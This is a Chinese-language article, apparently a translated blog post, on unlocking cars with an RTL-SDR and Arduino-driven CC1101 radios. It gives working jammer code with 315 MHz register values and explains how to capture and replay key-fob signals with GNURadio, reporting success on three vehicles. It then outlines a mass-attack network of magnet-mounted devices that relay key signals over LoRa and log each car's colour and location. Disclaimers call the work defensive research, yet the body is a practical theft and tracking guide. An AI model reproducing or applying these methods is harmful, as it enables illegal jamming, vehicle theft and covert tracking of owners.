使用RTL-SDR打开车门

简介: 在最近几年,入侵汽车在当代社会的黑客圈中成为热点,很多文章表明汽车产业还有很多东西等待完善,在本篇文章中,我会让你熟悉我一直研究的一些概念,以及如何在网状网络中使用一些便宜的部件渗透远程开门系统。 软件无线电 Software-defined radio(SDR)即软件无线电,它是一种实现无线通信的新概念和体制。

在最近几年,入侵汽车在当代社会的黑客圈中成为热点,很多文章表明汽车产业还有很多东西等待完善,在本篇文章中,我会让你熟悉我一直研究的一些概念,以及如何在网状网络中使用一些便宜的部件渗透远程开门系统。

软件无线电

Software-defined radio(SDR)即软件无线电,它是一种实现无线通信的新概念和体制。其中已在硬件上被实现的组件(例如混频器,滤波器,放大器,调制器/解调器,检测器等)可以通过软件手段在个人计算机上或嵌入式系统中被代替,即很多功能是在软件平台上实现的。虽然SDR不是一个新概念,但是随着数字电子学的飞速发展,很多东西从理论可行转变为实际可行。

然而大多数SDR设备都非常昂贵,特别是HackRF,BladeRF等等,如果你在寻找最便宜的方案,那么RTL2382U是个不错的选择,它们在Ebay上只需大约15美元。

这是我的RTL2382U以及一个天线。

这是另一个,我没有停止用它,因为我在用它后面的GPS模块。

使用这个设备和Linux机器连接起来,然后用HDSDR查看按键时的实时情况。

如你所见,宝马汽车制造商使用频段315Mhz,屏幕上的红线是我按下按钮时出现的。

当受害者走向他们的汽车并且按下解锁键时,信号就会被发送到汽车,然后门就会被解锁,所以我们需要在这一切发生之前拦截所有交互。

如何制作一个干扰器

在这部分,我在ebay上购买了一些CC1101无线射频收发器,我们将通过这些,使用ardunio nano板来实施拦截和重放。

如上图,我们有两个CC1101收发器连接在ardunio nano上,任何手机都可以为nano供电,根据其收发强度,其有效范围可达10米。

这个没有太多技术含量,我修改了panstamp库来使其在315Mhz上工作,因为原本的库在433Mhz,868Mhz和915Mhz上工作,而这些频段我们都不需要。接下来我们需要找出315频段的频谱中的highbyte,middlebyte和lowbyte。

低,中,高是三个寄存器,其值可以改变工作频率。我使用的是12:29:137。

必须注意的是,在美国境内使用干扰器是非法的,这篇文章中的任何成功攻击的信息都被移除,它只提供了使用的基础且没有深入,感谢理解!

#include "EEPROM.h"
#include "cc1101.h"

CC1101 cc1101;

// The LED is wired to the Arduino Output 4 (physical panStamp pin 19)
#define LEDOUTPUT 7

// counter to get increment in each loop
byte counter;
byte b;
byte syncWord = 199;

void blinker(){
//digitalWrite(LEDOUTPUT, HIGH);
//delay(100);
//digitalWrite(LEDOUTPUT, LOW);
///delay(100);
}

void setup()
{
//Serial.begin(38400);
Serial.begin(9200);
Serial.println("start");


// reset the counter
counter=0;
Serial.println("initializing...");
// initialize the RF Chip
cc1101.init();

cc1101.setSyncWord(&syncWord, false);
cc1101.setCarrierFreq(CFREQ_315);
cc1101.disableAddressCheck();
//cc1101.setTxPowerAmp(PA_LowPower);

//Serial.print("CC1101_PARTNUM "); //cc1101=0
Serial.println(cc1101.readReg(CC1101_PARTNUM, CC1101_STATUS_REGISTER));
//Serial.print("CC1101_VERSION "); //cc1101=4
Serial.println(cc1101.readReg(CC1101_VERSION, CC1101_STATUS_REGISTER));
//Serial.print("CC1101_MARCSTATE ");
Serial.println(cc1101.readReg(CC1101_MARCSTATE, CC1101_STATUS_REGISTER) & 0x1f);
}

void send_data() {
CCPACKET data;
data.length=1000;

data.data[0]=10;
data.data[2]=1;
data.data[3]=1;
data.data[4]=0;
//cc1101.flushTxFifo ();
Serial.print(cc1101.readReg(CC1101_MARCSTATE, CC1101_STATUS_REGISTER));
if(cc1101.sendData(data)){
send_data();
}
}
void loop()
{
send_data();

}

上面的代码是我在使用CC1101时发现的,对我们来说效果不是特别好。

我首先要直接发送一个脉冲信号来阻止所有其他信号。在数据数组中填充1似乎是不错的主意。

#include "EEPROM.h"
#include "cc1101.h"

CC1101 cc1101;
CCPACKET data;

void setup()
{
  // initialize the RF Chip
  cc1101.init();
  
  // For 315 MHz -> 0C1D8A
  // 0C1D8A gives 315000061.03515625 Hz
  
  cc1101.writeReg(CC1101_FREQ2,  0x0C); // Set Transmitter
  cc1101.writeReg(CC1101_FREQ1,  0X1D); // freq to
  cc1101.writeReg(CC1101_FREQ0,  0x8A); // 315 MHz
  
  data.length = 100;
  for(int a = 0; a < 100; a++) {
    data.data[a]= 1;              // Filling the data array
  }
  
}

void loop()
{
  cc1101.sendData(data);
}

当受害者按下解锁按钮时,信号首先被拦截,然后干扰信号(我们称之为signalX)被捕获并保存,随后我们将使用GNURadio来从原始的钥匙信号信号(我们称之为signalY)中分离出我们创建的实际干扰信号。当受害者再次按下解锁按钮时,我们原来保存的signalX就被发送给汽车,signalY在稍后可以重放来解锁同一辆车。当信号被捕获时,你需要进行逆向才能发回。我使用GNURadio接收并解调原来的ASK信号,将其变成二进制调制波形,之后我可以用来重放。

振幅偏移调变(ASK)是振幅调制的一种形式,表示数字数据作为载波振幅的变化。在ASK系统中,通过在T秒的持续时间内传送固定幅度载波和固定频率来表示二进制1。如果信号值1不发送,则为0。

这个系统有用吗?

有用,我在两辆车和一辆卡车上测试了这个,都成功的打开了车门。可怕的是,任何人都可以花费不多的美元来实现这个系统;更可怕的是,SDR设备的价格正在稳步下滑,在这种情况下获取一个定制的设备会变得更加容易。

进阶

经过批量攻击概念的证明,我写了一些东西,证明了这种攻击不仅可以一次攻击一辆车,还可以一次攻击数百辆的汽车。下面是一些关键点。

购买捕获设备(我们称之为veh1),通过磁铁吸附在汽车下面,
当对方的密钥信号被捕获和解调时,我们想通过网状网络发送这个信号。
Wifi或者蓝牙的距离不足以传输信号,我会使用的LoRa(长距离低功耗无线通讯技术),其有效范围可达15英里。
veh1连接到其中心设备,并将其二进制调制波形发送出去。
如果能搭建一个类似发送包的网络就更好了,给每一个设备一个名字,这样一来你就知道那个设备对应的是哪辆车了。
收集数据:车辆名称,颜色,位置和重放攻击数据。
将其放置在任何车辆上,中央设备可以在几分钟内完成。

必须注意的是,在中国使用干扰器也是非法的,这篇文章中的任何成功攻击的信息都被移除,它只提供了基础的思路且没有深入。该文章仅供研究如何防范,感谢理解!

原文链接:anthonys

相关文章
|
存储 编译器 C语言
深度:用10000字总结了嵌入式C语言必学知识点
深度:用10000字总结了嵌入式C语言必学知识点
563 1
|
算法 大数据
K-最近邻(KNN)
K-最近邻(KNN)
|
人工智能
【经验分享】如何快速转化笔记格式为标准的MarkDown格式并进行博客发布,提高生产力?
本文介绍如何将笔记转换为Markdown格式以快速发布博客。通过使用特定的Prompt和AI工具Claude 3 Sonnet,可以将Notepad++笔记转为适合CSDN博客的Markdown格式。转换要求包括:正确标记代码段、调整缩进和格式、使用Markdown标题、列表、链接和图片语法。Claude 3 Sonnet能有效处理格式转换,将转换后的Markdown内容复制到编辑器,即可便捷发布博客。
563 2
【经验分享】如何快速转化笔记格式为标准的MarkDown格式并进行博客发布,提高生产力?
|
SQL XML JavaScript
【若依Java】15分钟玩转若依二次开发,新手小白半小时实现前后端分离项目,springboot+vue3+Element Plus+vite实现Java项目和管理后台网站功能
摘要: 本文档详细介绍了如何使用若依框架快速搭建一个基于SpringBoot和Vue3的前后端分离的Java管理后台。教程涵盖了技术点、准备工作、启动项目、自动生成代码、数据库配置、菜单管理、代码下载和导入、自定义主题样式、代码生成、启动Vue3项目、修改代码、以及对代码进行自定义和扩展,例如单表和主子表的代码生成、树形表的实现、商品列表和分类列表的改造等。整个过程详细地指导了如何从下载项目到配置数据库,再到生成Java和Vue3代码,最后实现前后端的运行和功能定制。此外,还提供了关于软件安装、环境变量配置和代码自动生成的注意事项。
28844 73
|
开发工具 git
【看这一篇就够了】如何删除gitHub仓库中的文件
【看这一篇就够了】如何删除gitHub仓库中的文件
|
编解码 区块链 Windows
QT基础教程(QPalette和QIcon)
QT基础教程(QPalette和QIcon)
357 0
|
Linux 存储
u-boot向linux内核传递启动参数(详细)
U-BOOT 在启动内核时,会向内核传递一些参数.BootLoader 可以通过两种方法传递参数给内核,一种是旧的参数结构方式(parameter_struct),主要是 2.6 之前的内核使用的方式。
1996 0
|
传感器 网络协议 物联网
如何使用Wireshark进行MQTT分析?
如何使用Wireshark进行MQTT分析?
2144 0
如何使用Wireshark进行MQTT分析?
|
jenkins Java 持续交付
Jenkins Pipeline 流水线方式部署 SpringBoot 项目1
Jenkins Pipeline 流水线方式部署 SpringBoot 项目
1082 0

热门文章

最新文章